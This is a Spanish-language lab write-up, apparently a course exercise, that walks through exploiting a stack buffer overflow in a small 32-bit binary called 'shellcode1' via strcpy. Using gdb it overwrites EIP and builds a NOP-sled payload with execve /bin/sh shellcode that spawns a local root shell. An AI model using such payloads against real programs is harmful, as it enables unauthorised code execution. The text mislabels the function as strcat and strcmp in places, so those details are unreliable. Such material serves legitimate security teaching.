

## Introducción

El binario examinado (shellcode1), contiene la función “strcat”, la cual ha sido categorizada como obsoleta, debido a la nula validación de la longitud de lo que se le es mandado como parámetro y es por esa razón, que si se intenta alojar algo más grande del tamaño del buffer definido, se puede sobrescribir en otras partes del stack de manera “accidental”. La función strcat, ahora sólo queda como una función de legado de C y se recomienda no usarla en lo absoluto, debido a que existen otras funciones que realizan lo mismo, pero sin presentar la falla en cuestión.

## Análisis de funciones del binario

Vamos a comenzar examinando las funciones que se encuentran dentro del archivo usando la herramienta gdb:

```
barvch@ubuntu:~/Documents/avun/avuln_tareas/bins/another$ gdb shellcode1 -q
Reading symbols from shellcode1...(no debugging symbols found)...done.
(gdb) info functions
All defined functions:

Non-debugging symbols:
0x080482cc  _init
0x08048300  printf@plt
0x08048310  strcpy@plt
0x08048320  __libc_start_main@plt
0x08048340  _start
0x08048370  __x86.get_pc_thunk.bx
0x08048380  deregister_tm_clones
0x080483b0  register_tm_clones
0x080483f0  __do_global_ctors_aux
0x08048410  frame_dummy
0x0804843b  saluda
0x08048464  main
0x08048480  __libc_csu_init
0x080484e0  __libc_csu_fini
0x080484e4  _fini
(gdb) █
```

Podemos observar que existen dos funciones; main y saluda. El contenido de main es el siguiente:

```
0x8048464 <main>      push    ebp
0x8048465 <main+1>      mov     ebp,esp
0x8048467 <main+3>      mov     eax,DWORD PTR [ebp+0xc]
0x804846a <main+6>      add     eax,0x4
0x804846d <main+9>      mov     eax,DWORD PTR [eax]
0x804846f <main+11>     push    eax
0x8048470 <main+12>     call   0x804843b <saluda>
0x8048475 <main+17>     add     esp,0x4
0x8048478 <main+20>     mov     eax,0x0
0x804847d <main+25>     leave
0x804847e <main+26>     ret
0x804847f          nop
```

Y el contenido de la función saluda es el siguiente:

```
B+> 0x804843b <saluda>      push    ebp
      0x804843c <saluda+1>    mov     ebp,esp
      0x804843e <saluda+3>    sub     esp,0x64
      0x8048441 <saluda+6>    push    DWORD PTR [ebp+0x8]
      0x8048444 <saluda+9>    lea     eax,[ebp-0x64]
      0x8048447 <saluda+12>   push    eax
      0x8048448 <saluda+13>   call    0x8048310 <strcpy@plt>
      0x804844d <saluda+18>   add     esp,0x8
      0x8048450 <saluda+21>   lea     eax,[ebp-0x64]
      0x8048453 <saluda+24>   push    eax
      0x8048454 <saluda+25>   push    0x8048500
      0x8048459 <saluda+30>   call    0x8048300 <printf@plt>
      0x804845e <saluda+35>   add     esp,0x8
      0x8048461 <saluda+38>   nop
      0x8048462 <saluda+39>   leave
      0x8048463 <saluda+40>   ret
```

Analizando un poco el contenido de la función, podemos rescatar algunos puntos importantes:

- En la instrucción <saluda+3> se está creando un buffer dentro del stack con una longitud en hexadecimal de 0x64, lo que es equivalente a 100 en decimal.
- En la instrucción <saluda+13>, se está haciendo un llamado a la función vulnerable (strcpy)

Revisando cómo se encuentra el stack con todas las operaciones realizadas por el stack hasta este momento, obtenemos el siguiente resultado:

STACK	Espacio ocupado en Bytes
BUFFER	100
EBP de saluda	4
EIP de MAIN cuando se llama a saluda	4
EBP de MAIN	4

Tenemos un espacio de 100 bytes designado para el buffer dentro del stack. Es en el buffer donde va “a vivir” lo que le mandemos al programa como entrada. Por ejemplo, si ejecutamos el programa y le mandamos como parámetro la cadena “Baruch” que contiene solamente 6 bytes, éste funciona de manera correcta debido a que no estamos sobrepasando el espacio designado dentro del buffer:

```
barvch@ubuntu:~/Documents/avun/avuln_tareas/bins/another$ ./shellcode1 Baruch
Hola Baruch
barvch@ubuntu:~/Documents/avun/avuln_tareas/bins/another$
```

## Ejemplo de overflow

Lo interesante comienza a ocurrir cuando jugamos con lo que se le es mandado al programa para que haga el saludo; por ejemplo, si ahora le mandamos una cadena generada usando el comando de abajo, que contenga 100 caracteres de la letra ‘A’ (100 bytes) podemos observar el siguiente mensaje:

```
python -c 'print "A"*100'
```

```
barvch@ubuntu:~/Documents/avun/avuln_tareas/bins/another$ python -c 'print "A"*100'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
barvch@ubuntu:~/Documents/avun/avuln_tareas/bins/another$ ./shellcode1 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Hola AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault (core dumped)
barvch@ubuntu:~/Documents/avun/avuln_tareas/bins/another$
```


Podemos ver que el programa empieza a tener un comportamiento “extraño”. En teoría, estamos llenando completamente el buffer designado para la entrada, por lo que no debería de existir problema alguno, pero toma un comportamiento extraño.

Ahora, vamos a enviarle una cadena generada usando el comando que aparece abajo; donde se están mandando 104 caracteres de ‘A’, y adicionalmente 4 ‘B’ hasta el final.

```
python -c 'print "A"*104 + "BBBB"'
```

Esto, va a generar que se ocupen espacios de memoria que no deberían de ser tocados, debido a que los 100 bytes asignados para el buffer serán rellenos con puras ‘A’, luego, en el EBP de saluda, también habrá 4 ‘A’ y por último, se estará colocando en el EIP el valor de BBBB.

Dentro de la pila, estaría sucediendo algo así; toda la parte roja quedaría llena de A’s y las 4 B’s, quedarían almacenadas en el EIP.

STACK	Espacio ocupado en Bytes	
BUFFER	100	
EBP de saluda	4	
EIP de MAIN cuando se llama a saluda	4	
EBP de MAIN	4	

Haciendo la prueba en gdb, y poniendo un breakpoint al inicio de la función saluda y en la instrucción <saluda+18>, que es justo después de que se llena el buffer con la cadena que ha sido ingresada, vemos las siguientes respuestas:

```
barvch@ubuntu:~/Documents/avun/avuln_tareas/bins/another$ gdb shellcode1 -q
Reading symbols from shellcode1...(no debugging symbols found)...done.
(gdb) b *saluda
Breakpoint 1 at 0x804843b
(gdb) b *saluda+18
Breakpoint 2 at 0x804844d
(gdb)
```

Se colocan los breakpoints para poder revisar qué ocurre

[illegible]

Se corre el programa pasando como cadena los 104 A's y los 4 B's

```
B+> 0x804844d <saluda+18> add esp,0x8
0x8048450 <saluda+21> lea eax,[ebp-0x64]
0x8048453 <saluda+24> push eax
0x8048454 <saluda+25> push 0x8048500
0x8048459 <saluda+30> call 0x8048300 <printf@plt>
0x804845e <saluda+35> add esp,0x8
0x8048461 <saluda+38> nop
0x8048462 <saluda+39> leave
0x8048463 <saluda+40> ret
0x8048464 <main> push ebp
0x8048465 <main+1> mov ebp,esp
0x8048467 <main+3> mov eax,DWORD PTR [ebp+0xc]
0x804846a <main+6> add eax,0x4
0x804846d <main+9> mov eax,DWORD PTR [eax]
0x804846f <main+11> push eax
0x8048470 <main+12> call 0x804843b <saluda>
```

native process 6765 In: saluda

Breakpoint 1, 0x0804843b in saluda ()

```
(gdb) c
```

Continuing.

Breakpoint 2, 0x0804844d in saluda ()

```
(gdb) x/16x $ebp-0x64
```

```
0xffffcec8: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffced8: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffcee8: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffcef8: 0x41414141 0x41414141 0x41414141 0x41414141
(gdb)
```



Podemos comprobar, que si consultamos lo que está hasta arriba del buffer (ebp-0x64) justo después de que se ejecuta strcmp, el stack está lleno de 0x41414141, que es el valor de 'A' en hexadecimal.

Ahora, si continuamos con la ejecución del programa, veremos el siguiente mensaje:

```
(gdb) x/16x $ebp-0x64
0xffffcec8: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffced8: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffcee8: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffcef8: 0x41414141 0x41414141 0x41414141 0x41414141
(gdb) c
Continuing.
Hola  AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
Program received signal SIGSEGV, Segmentation fault.
Cannot access memory at address 0x42424242
(gdb)
```

Indica que no se puede acceder a la dirección de memoria 0x42424242, debido a que ese valor es en realidad nuestro "BBBB", el cual, dado que el buffer está lleno de A's, el programa se ha visto en la necesidad de sobrescribir lo que estamos ingresando en otras direcciones del stack, por lo que en este caso, ha sido sobrescrito la dirección de memoria de EIP y ahora, el programa está intentando acceder a esa dirección pero no puede.

Podemos concluir lo siguiente dada la evidencia de arriba:

- Dado que el buffer se llena y aún tiene que almacenar en algún lado todo el input que le estamos ingresando, se comienza a sobrescribir en otras partes del stack.
- Se pueden alterar los valores de ESP y EIP dentro del stack de manera arbitraria, cosa que es potencialmente peligrosa.

## Generando un overflow para obtener un shellcode

Como otro ejemplo, podemos sacar el valor en hexadecimal del binario "shellcode", el cual nos permite generar una shell dentro del sistema e intentar cargarlo dentro del buffer.

Se ha ejecutado el siguiente comando para obtener el valor en hexadecimal de shellcode:

```
objdump -d -M intel shellcode.obj | cut -d ":" -f 2 | sed -E
```

```
's/[a-z]{3,4}.*//' | tr -d '\t' | tr -s ' ' | sed 's/ $//' | sed 's/^\x/' | sed 's/ /\x/g' | tr -d '\n'
```

Dando como resultado :

```
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80
```

Recordando que contamos con una ventana de 104 bytes para poner todo lo que queramos dentro del buffer + EBP y que, si adicionalmente sumamos otros 4 bytes, podemos alterar el valor de EIP, vamos a reacomodar la cadena que le estamos mandando al programa para que ahora, cuando intente leer el valor de EIP, apunte de nuevo al buffer y pueda funcionar nuestro shellcode.

Lo primero, será contar las líneas que ocupa el resultado del shellcode por lo que si contamos las líneas del resultado de arriba con el comando:

```
echo -ne
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" | wc
```

Obtenemos como resultado un 25, por lo si hacemos el siguiente cálculo, sabremos cuánto tenemos que rellenar: **104 - 25 = 79**, por lo que aún tenemos que rellenar 79 bytes para poder generar el overflow y después hacer que se apunte de nuevo al buffer. Visto gráficamente, se vería así:

79 bytes		25 bytes		4 bytes		
relleno	+	shellcode	+	EIP	=	108

Para este ejemplo, vamos a rellenar el buffer usando nop (0x90 en hex), en lugar de colocar las A's del ejemplo anterior, por lo que podemos generar entonces la siguiente cadena para hacer pruebas:

```
python -c 'print "\x90"*79 +
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" + "BBBB"'
```

Ahora si ejecutamos el programa con esa entrada dentro de gdb:

```
(gdb) r `python -c 'print "\x90"*79 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"+ "BBBB"'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
```

Y de igual forma revisamos el tope del buffer, ahora podemos encontrar todos los nops:

```
Breakpoint 1, 0x0804843b in saluda ()
(gdb) c
Continuing.

Breakpoint 2, 0x0804844d in saluda ()
(gdb) x/16x $ebp-0x64
0xffffcec8:  0x90909090  0x90909090  0x90909090  0x90909090
0xffffced8:  0x90909090  0x90909090  0x90909090  0x90909090
0xffffcee8:  0x90909090  0x90909090  0x90909090  0x90909090
0xffffcef8:  0x90909090  0x90909090  0x90909090  0x90909090
(gdb)
```

Y si de igual forma, hacemos que continúe la ejecución del programa, podemos encontrar la misma salida de que no ha podido leer la dirección de memoria que hemos colocado (BBBB).

Antes de hacer la redirección de EIP al buffer para que se pueda ejecutar el shellcode, vamos a splitear nuestro relleno para que nuestro shellcode quede en medio de los rellenos. Para hacer esta operación, sólo es necesario repartir el valor de 79 en dos bloques que sumen esa cantidad, en este caso, vamos a dejar los valores de 28 y 51, dejando en medio de esos dos, el shellcode. Quedaría de la siguiente forma:

28 bytes		25 bytes		51 bytes		4 bytes		
relleno nop	+	shellcode	+	relleno nop	+	EIP	=	108

Por lo que la cadena ingresada dentro de gdb, sería el resultado de ejecutar:

```
python -c 'print "\x90"*28 +
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89
\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"+ "\x90"*51 + "BBBB"'
```

Y ahora, ejecutando el programa con ese input dentro de gdb, obtenemos los siguientes resultados:



```

Breakpoint 1, 0x0804843b in saluda ()
(gdb) c
Continuing.

Breakpoint 2, 0x0804844d in saluda ()
(gdb) x/16x $ebp-0x64
0xffffcec8:    0x90909090    0x90909090    0x90909090    0x90909090
0xffffced8:    0x90909090    0x90909090    0x90909090    0x6850c031
0xffffcee8:    0x68732f2f    0x69622f68    0x50e3896e    0x8953e289
0xffffcef8:    0xcd0bb0e1    0x90909080    0x90909090    0x90909090
(gdb)

```

Podemos ver que si consultamos el tope del buffer, tenemos nuestro relleno inicial y se puede ver nuestro shellcode.

Finalmente, vamos a cambiar el valor de “BBBB” para que ahora apunte a una dirección de las que están dentro del buffer; coloquemos alguna dirección que esté antes del shellcode en hexadecimal, para este caso se usa: 0xffffd588.

```

python -c 'print "\x90"*28 +
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89
\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"+ "\x90"*51 + "\x88\xd5\xff\xff"'

```

STACK	Espacio ocupado en Bytes	Shellcode
BUFFER	100	Relleno 28 bytes
		Shellcode
		Relleno 51 bytes
EBP de saluda	4	
EIP de MAIN cuando se llama a saluda	4	0xffffd588
EBP de MAIN	4	

Y si ahora corremos el binario con la cadena generada del comando de arriba, obtenemos la shell:

```

barvch@ubuntu:~/Documents/avun/avuln_tareas/bins/another$ sudo gdb shellcode1 -q
Reading symbols from shellcode1...(no debugging symbols found)...done.
(gdb) r `python -c 'print "\x90"*28 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"+ "\x90"*51 + "\x88\xd5\xff\xff"'`
Starting program: /home/barvch/Documents/avun/avuln_tareas/bins/another/shellcode1 `python -c 'print "\x90"*28 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"+ "\x90"*51 + "\x88\xd5\xff\xff"'`
Hola 1Ph//shh/binePeeS
process 7655 is executing new program: /bin/dash
# ls
mod_var shellcode shellcode.asm shellcode.obj shellcode1 stack1
# echo ":"
:)
# exit
[Inferior 1 (process 7655) exited normally]
(gdb)

```